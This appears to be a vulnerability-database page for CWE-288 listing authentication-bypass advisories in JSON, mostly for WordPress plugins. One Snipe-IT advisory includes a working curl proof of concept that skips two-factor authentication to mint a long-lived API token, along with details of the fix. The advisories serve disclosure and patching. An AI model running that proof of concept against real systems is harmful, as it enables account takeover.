CWE-288
AllowedAuthentication Bypass Using an Alternate Path or Channel
Abstraction: Base · Status: Incomplete
The product requires authentication, but the product has an alternate path or channel that does not require authentication.
1229 vulnerabilities reference this CWE, most recent first.
GHSA-HMC6-QJJC-3RJM
Vulnerability from github – Published: 2026-03-25 18:31 – Updated: 2026-03-26 21:31Authentication Bypass Using an Alternate Path or Channel vulnerability in Dokan, Inc. Dokan dokan-lite allows Authentication Abuse.This issue affects Dokan: from n/a through <= 4.2.4.
{
"affected": [],
"aliases": [
"CVE-2026-24359"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-25T17:16:36Z",
"severity": "HIGH"
},
"details": "Authentication Bypass Using an Alternate Path or Channel vulnerability in Dokan, Inc. Dokan dokan-lite allows Authentication Abuse.This issue affects Dokan: from n/a through \u003c= 4.2.4.",
"id": "GHSA-hmc6-qjjc-3rjm",
"modified": "2026-03-26T21:31:24Z",
"published": "2026-03-25T18:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24359"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/dokan-lite/vulnerability/wordpress-dokan-plugin-4-2-4-broken-authentication-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HMFH-W3MX-W6J4
Vulnerability from github – Published: 2024-10-29 18:30 – Updated: 2026-04-08 21:32The Crypto plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 2.15. This is due a to limited arbitrary method call to 'crypto_connect_ajax_process::log_in' function in the 'crypto_connect_ajax_process' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the username.
{
"affected": [],
"aliases": [
"CVE-2024-9989"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-29T17:15:05Z",
"severity": "CRITICAL"
},
"details": "The Crypto plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 2.15. This is due a to limited arbitrary method call to \u0027crypto_connect_ajax_process::log_in\u0027 function in the \u0027crypto_connect_ajax_process\u0027 function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the username.",
"id": "GHSA-hmfh-w3mx-w6j4",
"modified": "2026-04-08T21:32:55Z",
"published": "2024-10-29T18:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9989"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/crypto/tags/2.10/includes/class-crypto_connect_ajax_register.php#L138"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/crypto/tags/2.10/includes/class-crypto_connect_ajax_register.php#L33"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3189945/crypto#file3"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e21bd924-1d96-4371-972a-5c99d67261cc?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HMQV-F2V5-FJFF
Vulnerability from github – Published: 2026-06-15 21:30 – Updated: 2026-06-15 21:30Subscriber Broken Authentication in WP Full Stripe Free <= 8.4.1 versions.
{
"affected": [],
"aliases": [
"CVE-2026-42378"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-15T21:16:53Z",
"severity": "MODERATE"
},
"details": "Subscriber Broken Authentication in WP Full Stripe Free \u003c= 8.4.1 versions.",
"id": "GHSA-hmqv-f2v5-fjff",
"modified": "2026-06-15T21:30:46Z",
"published": "2026-06-15T21:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42378"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wp-full-stripe-free/vulnerability/wordpress-wp-full-stripe-free-plugin-8-4-1-broken-authentication-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HMV3-X9C8-W9RM
Vulnerability from github – Published: 2026-09-24 15:31 – Updated: 2026-09-24 15:31In PortSwigger Burp Suite DAST (formerly Burp Suite Enterprise Edition) before 2026.8, an authentication bypass can occur via an alternate path or channel.
{
"affected": [],
"aliases": [
"CVE-2026-90481"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-24T15:17:51Z",
"severity": "CRITICAL"
},
"details": "In PortSwigger Burp Suite DAST (formerly Burp Suite Enterprise Edition) before 2026.8, an authentication bypass can occur via an alternate path or channel.",
"id": "GHSA-hmv3-x9c8-w9rm",
"modified": "2026-09-24T15:31:36Z",
"published": "2026-09-24T15:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-90481"
},
{
"type": "WEB",
"url": "https://portswigger.net/burp/releases/dast-2026-8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HPV5-JH7R-PXPV
Vulnerability from github – Published: 2025-10-31 09:30 – Updated: 2025-10-31 09:30The Noo JobMonster theme for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 4.8.1. This is due to the check_login() function not properly verifying a user's identity prior to successfully authenticating them This makes it possible for unauthenticated attackers to bypass standard authentication and access administrative user accounts. Please note social login needs to be enabled in order for a site to be impacted by this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2025-5397"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-31T07:15:37Z",
"severity": "CRITICAL"
},
"details": "The Noo JobMonster theme for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 4.8.1. This is due to the check_login() function not properly verifying a user\u0027s identity prior to successfully authenticating them This makes it possible for unauthenticated attackers to bypass standard authentication and access administrative user accounts. Please note social login needs to be enabled in order for a site to be impacted by this vulnerability.",
"id": "GHSA-hpv5-jh7r-pxpv",
"modified": "2025-10-31T09:30:25Z",
"published": "2025-10-31T09:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5397"
},
{
"type": "WEB",
"url": "https://themeforest.net/item/jobmonster-job-board-wordpress-theme/10965446"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6fa4aa8d-d7f1-4e91-bb2c-c9f80a4bb216?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HQWR-J99J-R27H
Vulnerability from github – Published: 2024-07-01 21:31 – Updated: 2024-07-01 21:31The N-central server is vulnerable to session rebinding of already authenticated users when using Entra SSO, which can lead to authentication bypass.
This vulnerability is present in all Entra-supported deployments of N-central prior to 2024.3.
{
"affected": [],
"aliases": [
"CVE-2024-5322"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-01T21:15:04Z",
"severity": "CRITICAL"
},
"details": "The N-central server is vulnerable to session rebinding of already authenticated users when using Entra SSO, which can lead to authentication bypass.\n \nThis vulnerability is present in all Entra-supported deployments of N-central prior to 2024.3.",
"id": "GHSA-hqwr-j99j-r27h",
"modified": "2024-07-01T21:31:16Z",
"published": "2024-07-01T21:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5322"
},
{
"type": "WEB",
"url": "https://documentation.n-able.com/N-central/Release_Notes/GA/Content/2024.3%20Release%20Notes.htm"
},
{
"type": "WEB",
"url": "https://me.n-able.com/s/security-advisory/aArVy0000000BgDKAU/cve20245322-ncentral-authentication-bypass-via-session-rebinding"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HR72-FW54-F9PQ
Vulnerability from github – Published: 2026-08-18 15:31 – Updated: 2026-08-18 15:31Unauthenticated Broken Authentication in Flutterwave WooCommerce <= 3.3.0 versions.
{
"affected": [],
"aliases": [
"CVE-2026-73399"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T15:17:07Z",
"severity": "MODERATE"
},
"details": "Unauthenticated Broken Authentication in Flutterwave WooCommerce \u003c= 3.3.0 versions.",
"id": "GHSA-hr72-fw54-f9pq",
"modified": "2026-08-18T15:31:49Z",
"published": "2026-08-18T15:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73399"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/rave-woocommerce-payment-gateway/vulnerability/wordpress-flutterwave-woocommerce-plugin-3-3-0-broken-authentication-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-HVW4-2W6X-44G7
Vulnerability from github – Published: 2026-06-20 15:32 – Updated: 2026-06-20 15:32WordPress Ultimate Addons for Beaver Builder 1.2.4.1 contains an authentication bypass vulnerability that allows attackers to gain unauthorized access by exploiting the social media login form functionality. Attackers can submit a POST request to the admin-ajax.php endpoint with the uabb-lf-google-submit action, a valid administrator email address, and a valid nonce to obtain session cookies and authenticate as that user.
{
"affected": [],
"aliases": [
"CVE-2019-25763"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-20T14:16:17Z",
"severity": "CRITICAL"
},
"details": "WordPress Ultimate Addons for Beaver Builder 1.2.4.1 contains an authentication bypass vulnerability that allows attackers to gain unauthorized access by exploiting the social media login form functionality. Attackers can submit a POST request to the admin-ajax.php endpoint with the uabb-lf-google-submit action, a valid administrator email address, and a valid nonce to obtain session cookies and authenticate as that user.",
"id": "GHSA-hvw4-2w6x-44g7",
"modified": "2026-06-20T15:32:26Z",
"published": "2026-06-20T15:32:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25763"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/47832"
},
{
"type": "WEB",
"url": "https://www.ultimatebeaver.com"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/wordpress-ultimate-addons-for-beaver-builder-authentication-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HX9W-QRWW-76V2
Vulnerability from github – Published: 2024-10-16 03:31 – Updated: 2024-10-16 03:31The UltimateAI plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 2.8.3. This is due to insufficient verification on the user being supplied in the 'ultimate_ai_register_or_login_with_google' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the email.
{
"affected": [],
"aliases": [
"CVE-2024-9105"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-16T02:15:06Z",
"severity": "CRITICAL"
},
"details": "The UltimateAI plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 2.8.3. This is due to insufficient verification on the user being supplied in the \u0027ultimate_ai_register_or_login_with_google\u0027 function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the email.",
"id": "GHSA-hx9w-qrww-76v2",
"modified": "2024-10-16T03:31:33Z",
"published": "2024-10-16T03:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9105"
},
{
"type": "WEB",
"url": "https://codecanyon.net/item/ultimateai-ai-enhanced-wordpress-plugin-with-saas-for-content-code-chat-and-image-generation/51201953"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c2475643-a0b4-444a-a2c6-a5c45e90e1dd?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HXCX-9H4F-42XX
Vulnerability from github – Published: 2026-09-24 16:38 – Updated: 2026-09-24 16:38Impact
An attacker who knows a victim's password fully bypasses that account's 2FA and obtains a persistent token with full API access as the user (read and write across the user's permissions, including admin if the victim is an admin).
The token is an API credential, not a web/UI session (using it on web routes redirects to /login), but the REST API covers essentially the whole application. If the victim is an admin, the token can also call the admin users/two_factor_reset endpoint, which is in the same un-gated API surface, to clear the account's enrolled 2FA. The next login is then forced to re-enroll a second factor, which the password-holding attacker can complete with their own device, taking over the account's web access and locking the legitimate user out.
Summary:
2FA is enforced only by the web middleware group, not the api group, and the personal-access-token endpoint is in the api group. A session that has passed the password check but not the 2FA can mint a persistent API token and use it for full API access.
Details:
CheckForTwoFactor is in the web group but not the api group:
// app/Http/Kernel.php
'web' => [ ..., CheckForTwoFactor::class, CreateFreshApiToken::class, ... ],
'api' => [ 'auth:api', EnforceApiUserAgent::class, ... ], // no CheckForTwoFactor
Two consequences:
-
/two-factoris exempt from the check, andCreateFreshApiTokenruns right after it in the web group:// app/Http/Middleware/CheckForTwoFactor.php public const IGNORE_ROUTES = ['two-factor', 'two-factor-enroll', 'setup', 'logout'];
So a password-authenticated session that lands on /two-factor (before entering a code) is let through and gets issued the Passport snipeit_passport_token cookie.
-
The token endpoint is in the
apigroup, which never checks 2FA, gated only byself.api:// routes/api.php -> Api\ProfileController::createApiToken (line 98) if (! Gate::allows('self.api')) { ... } // the only gate; no 2FA check
Login authenticates on the password alone (LoginController::login calls Auth::login). 2FA is enforced only by web middleware on later page loads. So between a correct password and a completed second factor the session is already authenticated, can grab the Passport cookie via /two-factor, and can call the token endpoint over the api group. The token is long-lived (40-year expiry by default) and grants full API access as the user.
Proof of concept:
Setup: an account with 2FA enabled and the self.api permission (the permission that governs API access, so any account meant to use the API has it). The attacker has the password but not the TOTP device, and never completes the second factor.
HOST=https://snipeit.example.com/
USER=victim
PASS='victim-password'
# 1. log in with the password only. Every web page now redirects to
# /two-factor until a code is entered. never enter one.
csrf=$(curl -s -c cookies.txt "$HOST/login" \
| grep -oP 'name="_token" value="\K[^"]+')
curl -s -b cookies.txt -c cookies.txt "$HOST/login" \
--data-urlencode "_token=$csrf" \
--data-urlencode "username=$USER" \
--data-urlencode "password=$PASS" -o /dev/null
# 2. GET /two-factor with no code. It is exempt from the 2FA check, so
# CreateFreshApiToken issues the snipeit_passport_token cookie.
curl -s -b cookies.txt -c cookies.txt "$HOST/two-factor" -o /dev/null
grep -q snipeit_passport_token cookies.txt && echo "[2] Passport cookie issued, no code"
# 3. mint a persistent token over the api group (no 2FA check). Passport's
# cookie guard wants the session's own XSRF token echoed as a header,
# which our session already holds.
xsrf=$(awk '/XSRF-TOKEN/{print $7}' cookies.txt | tail -1)
xsrf=$(printf '%b' "${xsrf//%/\\x}")
pat=$(curl -s -b cookies.txt "$HOST/api/v1/account/personal-access-tokens" \
-X POST -H "Accept: application/json" -H "X-XSRF-TOKEN: $xsrf" \
--data-urlencode "name=poc" | jq -r '.payload.token')
echo "[3] token: $pat"
# 4. use the Bearer token against a real endpoint. /users/me returns the
# victim's own account, proving the token acts as the victim with 2FA
# never completed. (If the victim is an admin, the same token reaches the
# whole API, e.g. GET /api/v1/users returns the full user directory.)
curl -s "$HOST/api/v1/users/me" \
-H "Authorization: Bearer $pat" -H "Accept: application/json"
Step 3 returns a token with no code ever submitted, and step 4 returns the victim's own account ({"id":1,"username":"victim","email":...}). Meanwhile the same session is still blocked from every web page until 2FA is completed, which shows the api group simply never enforces it.
Patches
Fixed in commit 87c362962a via PR #19294 (FD-56499). The fix adds a new API-side middleware, EnforceApiTwoFactorEnrollment, registered on the api middleware group after auth:api. The new middleware answers the question "does this token's owner have a second factor enrolled at all?", which is orthogonal to the session-scoped 2fa_authed flag that CheckForTwoFactor relies on. Behavior:
- Passes through when there's no authenticated user (leaves the standard
auth:api401 in place). - Passes through when
two_factor_enabledis disabled in settings. - Under optional mode (
two_factor_enabled = '1'), only enforces on users who explicitly settwo_factor_optin = '1', matching the web-side behavior and preserving legacy PATs for users who never opted in. - Under required mode (
two_factor_enabled = '2'), enforces regardless of optin. - Blocks with 403 +
Helper::formatStandardApiResponse('error', null, trans('auth/message.two_factor.please_enroll'))when the token owner'stwo_factor_enrolled != '1'.
Regression coverage lives in tests/Feature/Authentication/EnforceApiTwoFactorEnrollmentTest.php.
Credit
Reported first by colinthebomb1 and Theebanbabu, followup confirmation report by SRT at submersion SRT@submersion.ai.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "snipe/snipe-it"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63493"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-24T16:38:27Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nAn attacker who knows a victim\u0027s password fully bypasses that account\u0027s 2FA and obtains a persistent token with full API access as the user (read and write across the user\u0027s permissions, including admin if the victim is an admin).\n\nThe token is an API credential, not a web/UI session (using it on web routes redirects to `/login`), but the REST API covers essentially the whole application. If the victim is an admin, the token can also call the admin `users/two_factor_reset` endpoint, which is in the same un-gated API surface, to clear the account\u0027s enrolled 2FA. The next login is then forced to re-enroll a second factor, which the password-holding attacker can complete with their own device, taking over the account\u0027s web access and locking the legitimate user out.\n\n### Summary:\n\n2FA is enforced only by the `web` middleware group, not the `api` group, and the personal-access-token endpoint is in the `api` group. A session that has passed the password check but not the 2FA can mint a persistent API token and use it for full API access. \n\n\n### Details:\n\n`CheckForTwoFactor` is in the `web` group but not the `api` group:\n\n // app/Http/Kernel.php\n \u0027web\u0027 =\u003e [ ..., CheckForTwoFactor::class, CreateFreshApiToken::class, ... ],\n \u0027api\u0027 =\u003e [ \u0027auth:api\u0027, EnforceApiUserAgent::class, ... ], // no CheckForTwoFactor\n\nTwo consequences:\n\n1. `/two-factor` is exempt from the check, and `CreateFreshApiToken` runs right after it in the web group:\n\n // app/Http/Middleware/CheckForTwoFactor.php\n public const IGNORE_ROUTES = [\u0027two-factor\u0027, \u0027two-factor-enroll\u0027, \u0027setup\u0027, \u0027logout\u0027];\n\nSo a password-authenticated session that lands on `/two-factor` (before entering a code) is let through and gets issued the Passport `snipeit_passport_token` cookie.\n\n2. The token endpoint is in the `api` group, which never checks 2FA, gated only by `self.api`:\n\n // routes/api.php -\u003e Api\\ProfileController::createApiToken (line 98)\n if (! Gate::allows(\u0027self.api\u0027)) { ... } // the only gate; no 2FA check\n\nLogin authenticates on the password alone (`LoginController::login` calls `Auth::login`). 2FA is enforced only by `web` middleware on later page loads. So between a correct password and a completed second factor the session is already authenticated, can grab the Passport cookie via `/two-factor`, and can call the token endpoint over the `api` group. The token is long-lived (40-year expiry by default) and grants full API access as the user.\n\n\n### Proof of concept:\n\nSetup: an account with 2FA enabled and the `self.api` permission (the permission that governs API access, so any account meant to use the API has it). The attacker has the password but not the TOTP device, and never completes the second factor.\n\n HOST=https://snipeit.example.com/\n USER=victim\n PASS=\u0027victim-password\u0027\n\n # 1. log in with the password only. Every web page now redirects to\n # /two-factor until a code is entered. never enter one.\n csrf=$(curl -s -c cookies.txt \"$HOST/login\" \\\n | grep -oP \u0027name=\"_token\" value=\"\\K[^\"]+\u0027)\n curl -s -b cookies.txt -c cookies.txt \"$HOST/login\" \\\n --data-urlencode \"_token=$csrf\" \\\n --data-urlencode \"username=$USER\" \\\n --data-urlencode \"password=$PASS\" -o /dev/null\n\n # 2. GET /two-factor with no code. It is exempt from the 2FA check, so\n # CreateFreshApiToken issues the snipeit_passport_token cookie.\n curl -s -b cookies.txt -c cookies.txt \"$HOST/two-factor\" -o /dev/null\n grep -q snipeit_passport_token cookies.txt \u0026\u0026 echo \"[2] Passport cookie issued, no code\"\n\n # 3. mint a persistent token over the api group (no 2FA check). Passport\u0027s\n # cookie guard wants the session\u0027s own XSRF token echoed as a header,\n # which our session already holds.\n xsrf=$(awk \u0027/XSRF-TOKEN/{print $7}\u0027 cookies.txt | tail -1)\n xsrf=$(printf \u0027%b\u0027 \"${xsrf//%/\\\\x}\")\n pat=$(curl -s -b cookies.txt \"$HOST/api/v1/account/personal-access-tokens\" \\\n -X POST -H \"Accept: application/json\" -H \"X-XSRF-TOKEN: $xsrf\" \\\n --data-urlencode \"name=poc\" | jq -r \u0027.payload.token\u0027)\n echo \"[3] token: $pat\"\n\n # 4. use the Bearer token against a real endpoint. /users/me returns the\n # victim\u0027s own account, proving the token acts as the victim with 2FA\n # never completed. (If the victim is an admin, the same token reaches the\n # whole API, e.g. GET /api/v1/users returns the full user directory.)\n curl -s \"$HOST/api/v1/users/me\" \\\n -H \"Authorization: Bearer $pat\" -H \"Accept: application/json\"\n\nStep 3 returns a token with no code ever submitted, and step 4 returns the victim\u0027s own account (`{\"id\":1,\"username\":\"victim\",\"email\":...}`). Meanwhile the same session is still blocked from every web page until 2FA is completed, which shows the `api` group simply never enforces it.\n\n## Patches\n\nFixed in commit 87c362962a via PR #19294 (FD-56499). The fix adds a new API-side middleware, `EnforceApiTwoFactorEnrollment`, registered on the `api` middleware group after `auth:api`. The new middleware answers the question \"does this token\u0027s owner have a second factor enrolled at all?\", which is orthogonal to the session-scoped `2fa_authed` flag that `CheckForTwoFactor` relies on. Behavior:\n\n- Passes through when there\u0027s no authenticated user (leaves the standard `auth:api` 401 in place).\n- Passes through when `two_factor_enabled` is disabled in settings.\n- Under optional mode (`two_factor_enabled = \u00271\u0027`), only enforces on users who explicitly set `two_factor_optin = \u00271\u0027`, matching the web-side behavior and preserving legacy PATs for users who never opted in.\n- Under required mode (`two_factor_enabled = \u00272\u0027`), enforces regardless of optin.\n- Blocks with 403 + `Helper::formatStandardApiResponse(\u0027error\u0027, null, trans(\u0027auth/message.two_factor.please_enroll\u0027))` when the token owner\u0027s `two_factor_enrolled != \u00271\u0027`.\n\nRegression coverage lives in `tests/Feature/Authentication/EnforceApiTwoFactorEnrollmentTest.php`.\n\n### Credit\n\nReported first by [colinthebomb1](https://github.com/colinthebomb1) and [Theebanbabu](https://github.com/Theebanbabu), followup confirmation report by SRT at submersion [SRT@submersion.ai](mailto:SRT@submersion.ai).",
"id": "GHSA-hxcx-9h4f-42xx",
"modified": "2026-09-24T16:38:28Z",
"published": "2026-09-24T16:38:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/grokability/snipe-it/security/advisories/GHSA-hxcx-9h4f-42xx"
},
{
"type": "WEB",
"url": "https://github.com/grokability/snipe-it/pull/19294"
},
{
"type": "WEB",
"url": "https://github.com/grokability/snipe-it/commit/87c362962a670f427be071850b218e43eff5d08e"
},
{
"type": "WEB",
"url": "https://github.com/grokability/snipe-it/commit/c4ea7db51ca80bf11b1d04fbe46e4a64f54dc780"
},
{
"type": "PACKAGE",
"url": "https://github.com/grokability/snipe-it"
},
{
"type": "WEB",
"url": "https://github.com/grokability/snipe-it/releases/tag/v8.7.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Snipe-IT: 2FA bypass via the API token flow"
}
Mitigation
Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.